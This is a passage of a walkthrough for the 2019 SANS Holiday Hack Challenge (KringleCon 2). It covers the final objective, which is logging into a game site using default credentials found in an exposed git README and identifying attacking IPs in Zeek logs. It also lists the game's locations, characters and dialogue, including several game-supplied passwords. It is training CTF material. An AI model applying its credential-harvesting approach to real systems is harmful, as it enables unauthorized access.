After solving Objective 11, you can now enter the Sleigh Shop (through the Student Union). In this room you can interact with 3 characters: The Tooth Fairy, Wunorse Openslae, and Krampus. Also, in this room is a console for the Sleigh Route Finder or you can access it directly at: https://srf.elfu.org/



Interacting with The Tooth Fairy, confirms what you already know which is she is the mastermind behind the plot. Interacting with Krampus will also lead you to https://srf.elfu.org/ to solve the final objective. Wunorse Openslae introduces a separate achievement challenge that is in this room called *Zeek JSON Analysis* and upon solving that simpler challenge, interacting again will provide the following hint for Objective 12:

Wunorse Openslae

Hey, you know what? We've got a crisis here.

You see, Santa's flight route is planned by a complex set of machine learning algorithms which use available weather data. All the weather stations are reporting severe weather to Santa's Sleigh. I think someone might be forging intentionally false weather data! I'm so flummoxed I can't even remember how to login! Hmm... Maybe the Zeek http.log could help us. I worry about LFI, XSS, and SQLi in the Zeek log - oh my! And I'd be shocked if there weren't some shell stuff in there too.

Objective 12 has two components:

- 1. Gain access to https://srf.elfu.org/ (needs a credential to login)
- 2. Analyze the provided logs (<u>https://downloads.elfu.org/http.log.gz</u>) and find the 100 attacking ip addresses in these logs so they can be blocked using the Sleigh Route Finder website.

Gaining Access to the Sleigh Router Finder Website

The important clue for this is reading the pdf document we decrypted in Objective 10 which is the Super Sled-omatic Quick Start Guide pdf. On page 3 of this pdf, there is this text below:

3. SRF - Sleigh Route Fin	der Web API	
The SRF Web API is started up or	n Super Sled-O-Matic device bo	otup and by default binds to
0.0.0.1225:		
	◎ 🖉 000.01225 ···· ③ ☆ M	1
	SLEICH ROUTE FINDER API	
	LOGIN	
	· · · · · · · · · · · · · · · · · · ·	
	paramet	

The default login credentials should be changed on startup and can be found in the readme in the ElfU Research Labs git repository.

The key phrases being: "default login credentials", "readme" and "git repository" Page **127** of **184** Putting those together, it's possible that when <u>https://srf.elfu.org</u> was setup, the admin just did a straight "git clone" right into the webroot and the standard readme file for a git repository by default is: **README.md**.

Trying this URL: <u>https://srf.elfu.org/README.md</u> retrieves the readme file with documentation on the default credential:

😣 🖨 🗊 README.md [Read-Only]	
Open▼	
# Sled-O-Matic - Sleigh Route Finder Web API	
### Installation	

sudo apt install python3-pip sudo python3 -m pip install -r requirements.txt ```	
#### Running:	
`python3 ./srfweb.py`	
#### Logging in:	
You can login using the default admin pass:	
`admin 924158F9522B3744F5FCD4D10FAC4356`	
However, it's recommended to change this in the sqlite db to something custo	m.
	INS
admin 924158F9522B3744F5FCD4D10FAC435	6

Using these credentials, we can login to https://srf.elfu.org/

× +		
	··· 🗵 🏠	± II/ [] (\$, ∰ ≡
LOG	IN	
admin		
Sign In		
- Mozilla Firefox		-
	리 ··· 등 ☆	🛓 in 🖬 📽 🖤
ABO	UT	
		• • • • • • • • • • • • • • • • • • •





h

Analyzing the http.log.gz Logs

As with previous Objectives, there are many tools and methods that could have been used to parse and analyze these logs. I chose to do the analysis completely with Linux command line utilities to parse the logs and find the 100 offending ip addresses. After much analysis in finding malicious activities (SQLi, LFI, XSS, shellshock/CGI abuses) and related entries with similar attributes, these are the final list of commands that when run on the original http.log.gz file, will generate a sorted list of the 100 offending ip addresses (please excuse the tiny font - wanted each command to fit in one line as much as possible):







Page 132 of 184

The final sorted csv list of 100 malicious ip addresses poisoning the weather data:

0.216.249.31/32,2.230.60.70/32,2.240.116.254/32,6.144.27.227/32,9.95.128.208/32,9.206.21 2.33/32,10.122.158.57/32,10.155.246.29/32,13.39.153.254/32,19.235.69.221/32,22.34.153.16 4/32,23.49.177.78/32,23.79.123.99/32,27.88.56.114/32,28.169.41.122/32,29.0.183.220/32,31 .116.232.143/32,31.254.228.4/32,32.168.17.54/32,34.129.179.28/32,34.155.174.167/32,37.21 6.249.50/32,42.16.149.112/32,42.103.246.250/32,42.127.244.30/32,42.191.112.181/32,44.74. 106.131/32,44.164.136.41/32,45.239.232.245/32,48.66.193.176/32,49.161.8.58/32,50.154.111 .0/32,53.160.218.44/32,56.5.47.137/32,61.110.82.125/32,65.153.114.120/32,66.116.147.181/ 32,68.115.251.76/32,69.221.145.150/32,72.183.132.206/32,75.73.228.192/32,80.244.147.207/ 32,81.14.204.154/32,83.0.8.119/32,84.147.231.129/32,87.195.80.126/32,92.213.148.0/32,95. 166.116.45/32,97.220.93.190/32,102.143.16.184/32,103.235.93.133/32,104.179.109.113/32,10 6.93.213.219/32,106.132.195.153/32,111.81.145.191/32,116.116.98.205/32,118.26.57.38/32,1 18.196.230.170/32,121.7.186.163/32,123.127.233.97/32,126.102.12.53/32,129.121.121.48/32, 131.186.145.73/32,135.32.99.116/32,135.203.243.43/32,140.60.154.239/32,142.128.135.10/32 ,148.146.134.52/32,150.45.133.97/32,155.129.97.35/32,158.171.84.209/32,168.66.108.62/32, 173.37.160.150/32,185.19.7.133/32,186.28.46.179/32,187.152.203.243/32,187.178.169.123/32 ,190.245.228.38/32,200.75.228.240/32,203.68.29.5/32,206.253.249.195/32,217.132.156.225/3 2,220.132.33.81/32,223.149.180.133/32,225.191.220.138/32,226.102.56.13/32,226.240.188.15 4/32,227.110.45.126/32,229.133.163.235/32,229.229.189.246/32,230.246.50.221/32,231.179.1 08.238/32,238.143.78.114/32,249.34.9.16/32,249.90.116.138/32,249.237.77.152/32,250.22.86 .40/32,252.122.243.212/32,253.65.40.39/32,253.182.102.55/32

Entering this into the Firewall section of the SRF web site as Deny entries:



The answer to Objective 12 needed for the badge question is the string: 0807198508261964

Page 133 of 184

I2) Filter Out Poisoned Sources of Weather Data

Difficulty: 🌲 🌲 🌲

Use the data supplied in the <u>Zeek JSON logs</u> to identify the IP addresses of attackers poisoning Santa's flight mapping software. <u>Block the 100</u> <u>offending sources of information to guide Santa's</u> <u>sleigh</u> through the attack. Submit the Route ID ("RID") success value that you're given. For hints on achieving this objective, please visit the Sleigh Shop and talk with Wunorse Openslae.

0807198508261964

Submit

I2) Filter Out Poisoned Sources of Weather Data

Difficulty: 🗍 🗍 🗍

Use the data supplied in the <u>Zeek JSON logs</u> to identify the IP addresses of attackers poisoning Santa's flight mapping software. <u>Block the 100</u> <u>offending sources of information to guide Santa's</u> <u>sleigh</u> through the attack. Submit the Route ID ("RID") success value that you're given. For hints on achieving this objective, please visit the Sleigh Shop and talk with Wunorse Openslae.

Congratulations! You have completed the Filter Out Poisoned Sources of Weather Data challenge! After completing Objective 12, the door to the Bell Tower is open and you climb the ladder that leads to the End Game...





Page 136 of 184

Speak to the three characters for the final message and unlock of the last Narrative sections:

Santa Final:

You did it! Thank you! You uncovered the sinister plot to destroy the holiday season! Through your diligent efforts, we've brought the Tooth Fairy to justice and saved the holidays! Ho Ho Ho! The more I laugh, the more I fill with glee. And the more the glee, The more I'm a merrier me! Merry Christmas and Happy Holidays.

Krampus Final:

Congratulations on a job well done! Oh, by the way, I won the Frido Sleigh contest. I got 31.8% of the prizes, though I'll have to figure that out.

The Tooth Fairy Final:

You foiled my dastardly plan! I'm ruined! And I would have gotten away with it too, if it weren't for you meddling kids!

There also two additional items of note on this screen:

There is a Tooth NPC:



Tooth Dialog: I'm Jason! Also, a tooth!

Letter of Wintry Magic pdf:





html > body > div#root > div.hhc-game-elements > div.env-production.viewport.v-finale.ope... > div.camera

🕞 🗘 Inspector 🖸 Console 🗅 Debugger ᡝ Network {} Style Editor 🖓 Performance 🕄 Memory 🖹 Storage 🔺 Accessibility 🟥

ts > div.env-production.viewport.v-finale.ope... > div.ca

Page 137 of 184

class="teef"></div>
class="teef-bag"></div
class="teef-bag"</div
class="teef-bag"></div
class="teef-bag"</div

div.hhc-game-e

grid

🕄 1 of 1 +

Thankfully, I didn't have to implement my plan by myself! Jack Frost promised to use his wintry magic to help me subvert Santa's horrible reign of holiday merriment NOW and FOREVER!

Complete Narrative:

Whose grounds these are, I think I know His home is in the North Pole though *He will not mind me traipsing here* To watch his students learn and grow Some other folk might stop and sneer "Two turtle doves, this man did rear?" I'll find the birds, come push or shove Objectives given: I'll soon clear Upon discov'ring each white dove, The subject of much campus love, I find the challenges are more Than one can count on woolen glove. Who wandered thus through closet door? Ho ho, what's this? What strange boudoir! Things here cannot be what they seem That portal's more than clothing store. Who enters contests by the ream And lives in tunnels meant for steam? This Krampus bloke seems rather strange And yet I must now join his team... Despite this fellow's funk and mange My fate, I think, he's bound to change. What is this contest all about? His victory I shall arrange! To arms, my friends! Do scream and shout! Some villain targets Santa's route! What scum - what filth would seek to end Kris Kringle's journey while he's out? Surprised, I am, but "shock" may tend To overstate and condescend. 'Tis little more than plot reveal That fairies often do extend And yet, despite her jealous zeal, My skills did win, my hacking heal! No dental dealer can so keep Our red-clad hero in ordeal! This Christmas must now fall asleep, But next year comes, and troubles creep. And Jack Frost hasn't made a peep, And Jack Frost hasn't made a peep ...

Page 138 of 184



https://www.youtube.com/watch?v=B1FMJdqqLiM

Page 139 of 184

Reference - Locations

Location - Train Station

You start your Elf University Journey here.

- 1. Characters in this location:
 - a. Santa
 - b. Bushy Evergreen

2. Challenges:

a. Escape Ed



Location - The Quad

This is the next section you visit and the central hub that connects other Elf University locations. From the Quad, you can reach Hermey Hall (west), Student Union (north), and the Dorm (east).

- 1. Characters in this location:
 - a. Santa (umbrella)
 - b. Tangle Coalbox
- 2. Challenges:
 - a. Frosty Keypad (solve to enter the Dorm)
- 3. Artifacts:
 - a. LetterToElfUPersonnel.pdf (Objective 2)



Location - Student Union: Main

This is located on the north side of the Quad.

- 1. Characters in this location:
 - a. Michael and Jane Two Turtle Doves
 - b. Kent Tinseltooth
 - c. Shinny Upatree
- 2. Challenges:
 - a. Find Two Turtle Doves
 - b. Smart Braces



Location - Hermey Hall: Main

This is located on the west side of the Quad. It contains speaker Tracks 1-7, Netwars, Speaker Unpreparedness Room, and the Laboratory.

- 1. Characters in this location: a. SugarPlum Mary
- 2. Challenges:
 - Linux Path a.
- 3. Artifacts:
 - a. KringleCon2019_SpeakerAgenda.pdf





Katie Knowles How to (Holiday) Hack It: Tips for Crushing CTFs & Pwning Pentests Track 2

James Brodsky Dashing Through the Logs Track 3

Chris Elgee Web Apps: A Trailhead Track 4

Deviant Ollam Optical Decoding of Keys Track 5

Dave Kennedy Telling Stories from the North Pole Track 6

Heather Mahalik When Malware Goes Mobile Quick Detection is Critical Track 7

SANS

h

Lesley Carhart Over 90,000: Ups and Downs of my InfoSec Twitter Journey Track 7

HOLIDAY HACK 2019

Snow Santa's Naughty List: Holiday Themed Social Engineering Track 2

Reversing Crypto the Easy Way Track 3

Chris Davis Machine Learning Use Cases for Cybersecurity Track 4

lan Coldwater Learning to Escape Containers Track 5

Mark Baggett Logs? Where We're Going, We Don't Need Logs. Track 6

John Hammond 5 Steps to Build and Lead a Team of Holly Jolly Hackers Track 7



Location - Hermey Hall: NetWars

This is located inside Hermey Hall

- 1. Characters in this location: a. Holly Evergreen
- 2. Challenges: a. Mongo Pilfer



Location - Hermey Hall: Speaker Unpreparedness Room This is located inside Hermey Hall

- 1. Characters in this location: a. Alabaster Snowball
- 2. Challenges: a. Nyanshell



Page 143 of 184

Location - Hermey Hall: Track 1

This is located inside Hermey Hall

1. Speaker Talks in this Room:

- a. Ed Skoudis Start Here: Welcome to KringleCon 2 https://www.youtube.com/watch?v=iUF5pBv7ukM
- b. John Strand A Hunting We Must Go <u>https://www.youtube.com/watch?v=jxOZ5u2CYWw</u>



Location - Hermey Hall: Track 2

This is located inside Hermey Hall

1. Speaker Talks in this Room:

- a. Katie Knowles How to (Holiday) Hack It: Tips for Crushing CTFs & Pwning Pentests https://www.youtube.com/watch?v=c02mH7F1xvU
- b. Snow Santa's Naughty List: Holiday Themed Social Engineering <u>https://www.youtube.com/watch?v=HKLSmbOXJRU</u>


Location - Hermey Hall: Track 3

This is located inside Hermey Hall

1. Speaker Talks in this Room:

- a. James Brodsky Dashing Through the Logs <u>https://www.youtube.com/watch?v=qbIhHhRKQCw</u>
- b. Ron Bowes Reversing Crypto the Easy Way https://www.youtube.com/watch?v=obJdpKDpFBA



Location - Hermey Hall: Track 4 This is located inside Hermey Hall

1. Speaker Talks in this Room:

- a. Chris Elgee Web Apps: A Trailhead https://www.youtube.com/watch?v=0T6-DQtzCgM
- b. Chris Davis Machine Learning Use Cases for Cybersecurity https://www.youtube.com/watch?v=jmVPLwjm_zs



Location - Hermey Hall: Track 5

This is located inside Hermey Hall

1. Speaker Talks in this Room:

- a. Deviant Ollam Optical Decoding of Keys https://www.youtube.com/watch?v=KU6FJnbkeLA
- b. Ian Coldwater Learning to Escape Containers



Location - Hermey Hall: Track 6

This is located inside Hermey Hall

- 1. Speaker Talks in this Room:
 - a. Dave Kennedy Telling Stories from the North Pole <u>https://www.youtube.com/watch?v=9QuOhRGvryc</u>
 - b. Mark Baggett Logs? Where We're Going, We Don't Need Logs https://www.youtube.com/watch?v=Dx78oObfiBM



Location - Hermey Hall: Track 7

This is located inside Hermey Hall

1. Speaker Talks in this Room:

- a. Heather Mahalik When Malware Goes Mobile, Quick Detection is Critical https://www.youtube.com/watch?v=IEbLOvT4Fts
- b. John Hammond 5 Steps to Build and Lead a Team of Holly Jolly Hackers https://www.youtube.com/watch?v=D5Nwg84cV1E
- c. Lesley Carhart Over 90,000 Ups and Downs of my InfoSec Twitter Journey https://www.youtube.com/watch?v=RpIOa IqXvk



Location - Hermey Hall: The Laboratory This is located inside Hermey Hall

- Characters in this location:
 a. Professor Banas
 - b. Sparkle Redberry
- 2. Challenges: a. Xmas Cheer Laser



Page 147 of 184

Location - Dorm: Main

This is located on the east side of the Quad. Frosty Keypad challenge must be solved first before entry is allowed

- 1. Characters in this location:
 - a. Pepper Minstix
 - b. Minty Candycane
- 2. Challenges:
 - a. Graylog
 - b. Holiday Hack Trail



Location - Dorm: Minty's Dorm Room

This is located inside the Dorm area. Last open room door on the east side of the Dorm.

- 1. Characters in this location:
 - a. Scampering Krampus
- 2. Challenges:
 - a. Get Access to the Steam Tunnels/Key Bitting Cutter



Location - Dorm: Minty's Closet & Secret Passage (THISISIT)

This is located inside the Dorm area and inside Minty's dorm room.

1. Characters in this location:

- a. None
- 2. Challenges:
 - a. Get Access to the Steam Tunnels/Lock





Location - Steam Tunnels

This is located inside the Dorm area and accessed through Minty's closet.

- 1. Characters in this location: a. Krampus Hollyfeld
- 2. Challenges:

议

a. Frido Sleigh Contest

Location - Student Union: Sleigh Workshop

This is located inside the Student Union area and accessed through the Sleigh Shop door. Objective 11 must be solved before the Sleigh Shop door will open and you can access this area.

- 1. Characters in this location:
 - a. The Tooth Fairy
 - b. Wunorse Openslae
 - c. Krampus Hollyfeld
- 2. Challenges:
 - a. Zeek JSON Analysis
 - b. Sleigh Route Finder





Location - The Bell Tower

This is located inside the Student Union area and accessed through the Bell Tower Access door in the Sleigh Shop. Objective 12 must be solved before the Bell Tower Access door will open and you can access this area.

- 1. Characters in this location:
 - a. Santa
 - b. The Tooth Fairy (Orange Jumpsuit)
 - c. Krampus Hollyfeld
 - d. Tooth

2. Artifacts:

a. <u>https://downloads.elfu.org/LetterOfWintryMagic.pdf</u>



Reference - Characters

Characters - Train Station - Santa

Santa is the first character you meet in the game upon arriving at the Train Station. He provides the following dialog:

Picture:



Dialog:

Welcome to the North Pole and KringleCon 2! Last year, KringleCon hosted over 17,500 attendees and my castle got a little crowded. We moved the event to Elf University (Elf U for short), the North Pole's largest venue. Please feel free to explore, watch talks, and enjoy the con!

Unlocks:

Narrative 1 of 10

Characters - Train Station - Bushy Evergreen

Picture:



Dialog:

Initial and Introduction to Escape Ed Challenge: Hi, I'm Bushy Evergreen. Welcome to Elf U! I'm glad you're here. I'm the target of a terrible trick. Pepper Minstix is at it again, sticking me in a text editor. Pepper is forcing me to learn ed. Even the hint is ugly. Why can't I just use Gedit? Please help me just quit the grinchy thing.

Hint for Objective 3:

Wow, that was much easier than I'd thought. Maybe I don't need a clunky GUI after all! Have you taken a look at the password spray attack artifacts? I'll bet that DeepBlueCLI tool is helpful. You can check it out on GitHub. It was written by that Eric Conrad. He lives in Maine - not too far from here!

Introduces Challenge: Escape Ed

Page 152 of 184

Characters - The Quad - Santa (Umbrella)

Picture:



Dialog:

<u>Initial and Introduction to Objective 1</u> This is a little embarrassing, but I need your help. Our KringleCon turtle dove mascots are missing! They probably just wandered off.

Can you please help find them?

To help you search for them and get acquainted with KringleCon, I've created some objectives for you. You can see them in your badge. Where's your badge? Oh! It's that big, circle emblem on your chest - give it a tap! We made them in two flavors - one for our new guests, and one for those who've attended both KringleCons. After you find the Turtle Doves and complete objectives 2-5, please come back and let me know. Not sure where to start? Try hopping around campus and talking to some elves. If you help my elves with some quicker problems, they'll probably remember clues for the objectives. Thank you for finding Jane and Michael, our two turtle doves!

•••

After Objective 1-5 Completed:

I've got an uneasy feeling about how they disappeared. Turtle doves wouldn't wander off like that. Someone must have stolen them! Please help us find the thief! It's a moral imperative! I think you should look for an entrance to the steam tunnels and solve Challenge 6 and 7 too! Gosh, I can't help but think: Winds in the East, snow coming in... Like something is brewing and about to begin! Can't put my finger on what lies in store, But I fear what's to happen all happened before!

Unlocks:

Narrative 2 of 10 Objectives 1 - 5 (initial) Objectives 6-12 (after 1-5 are completed)

Characters - The Quad - Tangle Coalbox





Dialog:

Initial and Introduction to Frosty Keypad Challenge Hey kid, it's me, Tangle Coalbox. I'm sleuthing again, and I could use your help. Ya see, this here number lock's been popped by someone. I think I know who, but it'd sure be great if you could open this up for me. I've got a few clues for you. 1. One digit is repeated once.

- 2. The code is a prime number.
- 3. You can probably tell by looking at the keypad which buttons are used.

Introduces Challenge: Frosty Keypad

Characters - Hermey Hall: Main - SugarPlum Mary

Picture:



Dialog:

Initial and Introduction to Linux Path Challenge Oh me oh my - I need some help! I need to review some files in my Linux terminal, but I can't get a file listing. I know the command is Is, but it's really acting up. Do you think you could help me out? As you work on this, think about these questions: 1. Do the words in green have special significance?

- 2. How can I find a file with a specific name?
- 3. What happens if there are multiple executables with the same name in my \$PATH?

...

Hint for Objective 4:

Oh there they are! Now I can delete them. Thanks! Have you tried the Sysmon and EQL challenge? If you aren't familiar with Sysmon, Carlos Perez has some great info about it. Haven't heard of the Event Query Language? Check out some of Ross Wolf's work on EQL or that blog post by Josh Wright in your badge.

Introduces Challenge: Linux Path

Page 154 of 184

Characters - Hermey Hall: NetWars - Holly Evergreen

Picture:



Dialog:

Initial and Introduction to Mongo Pilfer Challenge Hey! It's me, Holly Evergreen! My teacher has been locked out of the quiz database and can't remember the right solution. Without access to the answer, none of our quizzes will get graded. Can we help get back in to find that solution? I tried lsof -i, but that tool doesn't seem to be installed. I think there's a tool like ps that'll help too. What are the flags I need? Either way, you'll need to know a teensy bit of Mongo once you're in. Pretty please find us the solution to the quiz!

Hint for Objective 10:

Woohoo! Fantabulous! I'll be the coolest elf in class. On a completely unrelated note, digital rights management can bring a hacking elf down. That ElfScrow one can really be a hassle. It's a good thing Ron Bowes is giving a talk on reverse engineering! That guy knows how to rip a thing apart. It's like he breathes opcodes!

Introduces Challenge: Mongo Pilfer

Characters - Hermey Hall: Speaker UNpreparedness Room - Alabaster Snowball





Dialog:

Initial and Introduction to Nyanshell Challenge: Welcome to the Speaker UNpreparedness Room! My name's Alabaster Snowball and I could use a hand. I'm trying to log into this terminal, but something's gone horribly wrong. Every time I try to log in, I get accosted with ... a hatted cat and a toaster pastry? I thought my shell was Bash, not flying feline. When I try to overwrite it with something else, I get permission errors. Have you heard any chatter about immutable files? And what is sudo -I telling me?

<u>Hint for Objective 8:</u> Who would do such a thing?? Well, it IS a good looking cat. Have you heard about the Frido Sleigh contest? There are some serious prizes up for grabs.

Page 155 of 184

The content is strictly for elves. Only elves can pass the CAPTEHA challenge required to enter. I heard there was a talk at KCII about using machine learning to defeat challenges like this. I don't think anything could ever beat an elf though!

Introduces Challenge: Nyanshell

Characters - Hermey Hall: The Laboratory - Professor (Carl) Banas

Picture:



Dialog:

Initial and Introduction for Objective 6 Hi, I'm Dr. Banas, professor of Cheerology at Elf University. This term, I'm teaching "HOL 404: The Search for Holiday Cheer in Popular Culture," and I've had quite a shock! I was at home enjoying a nice cup of Gløgg when I had a call from Kent, one of my students who interns at the Elf U SOC. Kent said that my computer has been hacking other computers on campus and that I needed to fix it ASAP! If I don't, he will have to report the incident to the boss of the SOC. Apparently, I can find out more information from this website https://splunk.elfu.org/ with the username: elf / Password: elfsocks. I don't know anything about computer security. Can you please help me?

<u>After Completing Objective 6:</u> Oh, thanks so much for your help! Sorry I was freaking out. I've got to talk to Kent about using my email again... ...and picking up my dry cleaning.

Unlocks: Objective 6

Characters - Hermey Hall: The Laboratory - Sparkle Redberry

Picture:



Dialog:

Initial and Introduction to Xmas Cheer Laser Challenge: I'm Sparkle Redberry and Imma chargin' my laser! Problem is: the settings are off. Do you know any PowerShell? It'd be GREAT if you could hop in and recalibrate this thing. It spreads holiday cheer across the Earth when it's working!

Hint for Objective 5:

You got it - three cheers for cheer! For objective 5, have you taken a look at our Zeek logs? Something's gone wrong. But I hear someone named Rita can help us. Can you and she figure out what happened?

Introduces Challenge: Xmas Cheer Laser

Characters - Student Union - Michael and Jane - Two Turtle Doves



Dialog: Hoot Hooot?

Unlocks: Narrative 3 of 10

Characters - Student Union: Main - Kent Tinseltooth

Picture:



Dialog:

<u>Initial and Introduction to Smart Braces Challenge:</u> I'll bet you can keep other students out of my head, so to speak. It might just take a bit of Iptables work.

OK, this is starting to freak me out!

Oh sorry, I'm Kent Tinseltooth. My Smart Braces are acting up. Do... Do you ever get the feeling you can hear things? Like, voices? I know, I sound crazy, but ever since I got these... Oh! Do you think you could take a look at my Smart Braces terminal? I'll bet you can keep other students out of my head, so to speak. It might just take a bit of Iptables work.

•••

Hint for Objective 11:

Oh thank you! It's so nice to be back in my own head again. Er, alone. By the way, have you tried to get into the crate in the Student Union? It has an interesting set of locks. There are funny rhymes, references to perspective, and odd mentions of eggs! And if you think the stuff in your browser looks strange, you should see the page source... Special tools? No, I don't think you'll need any extra tooling for those locks. BUT - I'm pretty sure you'll need to use Chrome's developer tools for that one. Or sorry, you're a Firefox fan? Yeah, Safari's fine too - I just have an ineffible hunger for a physical Esc key. Edge? That's cool. Hm? No no, I was thinking of an unrelated thing. Curl fan? Right on! Just remember: the Windows one doesn't like double quotes. Old school, huh? Oh sure - I've got what you need right here...

And I hear the Holiday Hack Trail game will give hints on the last screen if you complete it on Hard.

Introduces Challenge: Smart Braces

Characters - Student Union: Main - Shinny Upatree

Picture:



Dialog: Initial: Hey there.

Introduction to Objective 11: Psst - hey!

I'm Shinny Upatree, and I know what's going on! Yeah, that's right - guarding the sleigh shop has made me privvy to some serious, high-level intel. In fact, I know WHO is causing all the trouble. Cindy? Oh no no, not that who. And stop guessing - you'll never figure it out. The only way you could would be if you could break into <u>my crate</u>, here. You see, I've written the villain's name down on a piece of paper and hidden it away securely!

Introduction to Objective 12:

Wha - what?? You got into my crate?! Well that's embarrassing... But you know what? Hmm... If you're good enough to crack MY security... Do you think you could bring this all to a grand conclusion? Please go into the sleigh shop and see if you can finish this off! Stop the Tooth Fairy from ruining Santa's sleigh route!

Introduces Challenge: Objective 11 (Crate Challenge) Objective 12 (Filter out Poison Sources of Weather Data Challenge)

Characters - Dorm: Main - Pepper Minstix

Picture:



Dialog:

Initial and Introduction to the Graylog Challenge: It's me - Pepper Minstix. Normally I'm jollier, but this Graylog has me a bit mystified. Have you used Graylog before? It is a log management system based on Elasticsearch, MongoDB, and Scala. Some Elf U computers were hacked, and I've been tasked with performing incident response. Can you help me fill out the incident response report using our instance of Graylog? It's probably helpful if you know a few things about Graylog. Event IDs and Sysmon are important too. Have you spent time with those? Don't worry - I'm sure you can figure this all out for me! Click on the All messages Link to access the Graylog search interface! Make sure you are searching in all messages! The Elf U Graylog server has an integrated incident response reporting system. Just mouse-over the box in the lower-right corner. Login with the username elfustudent and password elfustudent. ...

Hint for Objective 9:

That's it - hooray!

Have you had any luck retrieving scraps of paper from the Elf U server? Have you had any luck retrieving scraps of paper from the Elf U server? You might want to look into SQL injection techniques.

Introduces Challenge: Graylog

Characters - Dorm: Main - Minty Candycane

Picture:



Dialog:

Initial and Introduction to Holiday Hack Trail Challenge: Hi! I'm Minty Candycane! I just LOVE this old game! I found it on a 5 1/4" floppy in the attic. You should give it a go! If you get stuck at all, check out this year's talks. One is about web application penetration testing. Good luck, and don't get dysentery!

Introduces Challenge: Holiday Hack Trail

Page 159 of 184

Characters - Dorm: Minty Candycane Dorm Room - Krampus (Hollyfeld)





Dialog: None (He scampers away...)

Introduces Challenge: Steam Tunnels/Bitting Key Cutter Objective 7 Narrative 4 of 10

Characters - Steam Tunnels - Krampus (Hollyfeld)

Picture:



Dialog:

Initial: Hello there! I'm Krampus Hollyfeld. I maintain the steam tunnels underneath Elf U, Keeping all the elves warm and jolly. Though I spend my time in the tunnels and smoke, In this whole wide world, there's no happier bloke! Yes, I borrowed Santa's turtle doves for just a bit. Someone left some scraps of paper near that fireplace, which is a big fire hazard. I sent the turtle doves to fetch the paper scraps. But, before I can tell you more, I need to know that I can trust you. Tell you what - if you can help me beat the Frido Sleigh contest (Objective 8), then I'll know I can trust you. The contest is here on my screen and at fridosleigh.com. No purchase necessary, enter as often as you want, so I am! They set up the rules, and lately, I have come to realize that I have certain materialistic, cookie needs. Unfortunately, it's restricted to elves only, and I can't bypass the CAPTEHA. (That's Completely Automated Public Turing test to tell Elves and Humans Apart.) I've already cataloged <u>12,000 images</u> and decoded the <u>API interface</u>. Can you help me bypass the CAPTEHA and submit lots of entries?

...

Unlock of Objective 9 and Steam Tunnel Teleportation:

You did it! Thank you so much. I can trust you!

To help you, I have flashed the firmware in your badge to unlock a useful new feature: magical teleportation through the steam tunnels. As for those scraps of paper, I scanned those and put the images on my server.

I then threw the paper away.

Unfortunately, I managed to lock out my account on the server.

Hey! You've got some great skills. Would you please hack into my system and retrieve the scans?

Page 160 of 184

I give you permission to hack into it, solving Objective 9 in your badge. And, as long as you're traveling around, be sure to solve any other challenges you happen across.

•••

Unlock of Objective 10:

Wow! We've uncovered quite a nasty plot to destroy the holiday season. We've gotta stop whomever is behind it! I managed to find this protected document on one of the compromised machines in our environment. I think our attacker was in the process of exfiltrating it. I'm convinced that it is somehow associated with the plan to destroy the holidays. Can you decrypt it? There are some smart people in the NetWars challenge room who may be able to help us.

Introduces Challenge:

Objective 8 Objective 9 Objective 10 Narrative 5 of 10 Narrative 6 of 10 (After Objective 8) Narrative 7 of 10 (After Objective 10)

Characters - Student Union: Sleigh Shop - Wunorse Openslae

Picture:

Dialog:

Initial and Introduction to Zeek JSON Analysis Challenge: Wunorse Openslae here, just looking at some Zeek logs. I'm pretty sure one of these connections is a malicious C2 channel... Do you think you could take a look? I hear a lot of C2 channels have very long connection times. Please use jq to find the longest connection in this data set. We have to kick out any and all grinchy activity!

Hint for Objective 12: That's got to be the one - thanks! Hey, you know what? We've got a crisis here. You see, Santa's flight route is planned by a complex set of machine learning algorithms which use available weather data. All the weather stations are reporting severe weather to Santa's Sleigh. I think someone might be forging intentionally false weather data! I'm so flummoxed I can't even remember how to login! Hmm... Maybe the Zeek http.log could help us. I worry about LFI, XSS, and SQLi in the Zeek log - oh my! And I'd be shocked if there weren't some shell stuff in there too.

Introduces Challenge: Zeek JSON Analysis

Characters - Student Union: Sleigh Shop - The Tooth Fairy





Dialog:

I'm the Tooth Fairy, the mastermind behind the plot to destroy the holiday season.
I hate how Santa is so beloved, but only works one day per year!
He has all of the resources of the North Pole and the elves to help him too.
I run a solo operation, toiling year-round collecting deciduous bicuspids and more from children.
But I get nowhere near the gratitude that Santa gets. He needs to share his holiday resources with the rest of us!
But, although you found me, you haven't foiled my plot!
Santa's sleigh will NOT be able to find its way.
I will get my revenge and respect!
I want my own holiday, National Tooth Fairy Day, to be the most popular holiday on the calendar!!!

Unlocks:

Narrative 8 of 10

Characters - Student Union: Sleigh Shop - Krampus (Hollyfeld)

Picture:



Dialog:

But there's still time! Solve the final challenge in your badge by blocking the bad IPs at srf.elfu.org and save the holiday season!

Introduces Challenge: Objective 12

Characters - The Bell Tower - Santa

Picture:



Dialog:

You did it! Thank you! You uncovered the sinister plot to destroy the holiday season! Through your diligent efforts, we've brought the Tooth Fairy to justice and saved the holidays!

Page 162 of 184

Ho Ho Ho!

The more I laugh, the more I fill with glee. And the more the glee, The more I'm a merrier me! Merry Christmas and Happy Holidays.

Unlocks: Narrative 9 of 10 Narrative 10 of 10

Characters - The Bell Tower - Krampus (Hollyfeld)

Picture:



Dialog:

Congratulations on a job well done! Oh, by the way, I won the Frido Sleigh contest. I got 31.8% of the prizes, though I'll have to figure that out.

Characters - The Bell Tower - The Tooth Fairy (Orange Jumpsuit)



Dialog: You foiled my dastardly plan! I'm ruined! And I would have gotten away with it too, if it weren't for you meddling kids!

Characters - The Bell Tower - Tooth





Dialog: I'm Jason! Also, a tooth!

Reference - Other Interactive Objects

Interactive Objects - Student Union - Google Booth

Image:



Dialog:

Google is a proud sponsor of KringleCon and the Holiday Hack Challenge. We wish you a happy holiday hacking season.

You can try clicking on it, but sometimes a vent is just a vent.

Interactive Objects - Student Union - SANS.edu Booth

Image:



Dialog:

Happy holidays from the best college in cybersecurity. Brilliant minds like yours belong at SANS.edu.

Interactive Objects - Student Union - Splunk Booth

Image:



Dialog:

Splunk is proud to be a contributor to KringleCon and the Holiday Hack Challenge. Happy holidays from the Splunk security team!

Interactive Objects - Student Union - SWAG Booth

Image:



Dialog:

Want some KringleCon swag? Profit? No, we don't make anything on swag sales.

Interactive Objects - Hermey Hall - Speaker Agenda Display

Image:



Artifact: https://downloads.elfu.org/KringleCon2019 SpeakerAgenda.pdf

Narrative

Narrative 1 of 10

Whose grounds these are, I think I know His home is in the North Pole though He will not mind me traipsing here To watch his students learn and grow

Unlocked:

Train Station - speaking to Santa for the first time

Narrative 2 of 10

